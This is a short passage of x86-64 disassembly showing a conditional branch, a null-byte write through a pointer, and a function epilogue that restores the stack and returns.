mov dword [rbp + 0x210], edx
cmp eax, 1
jg 0x402642
jmp 0x4026ba
nop
mov rax, qword [rbp + 0x1d8]
mov byte [rax], 0
mov eax, dword [rbp + 0x1d4]
add rsp, 0x270
pop rbp
ret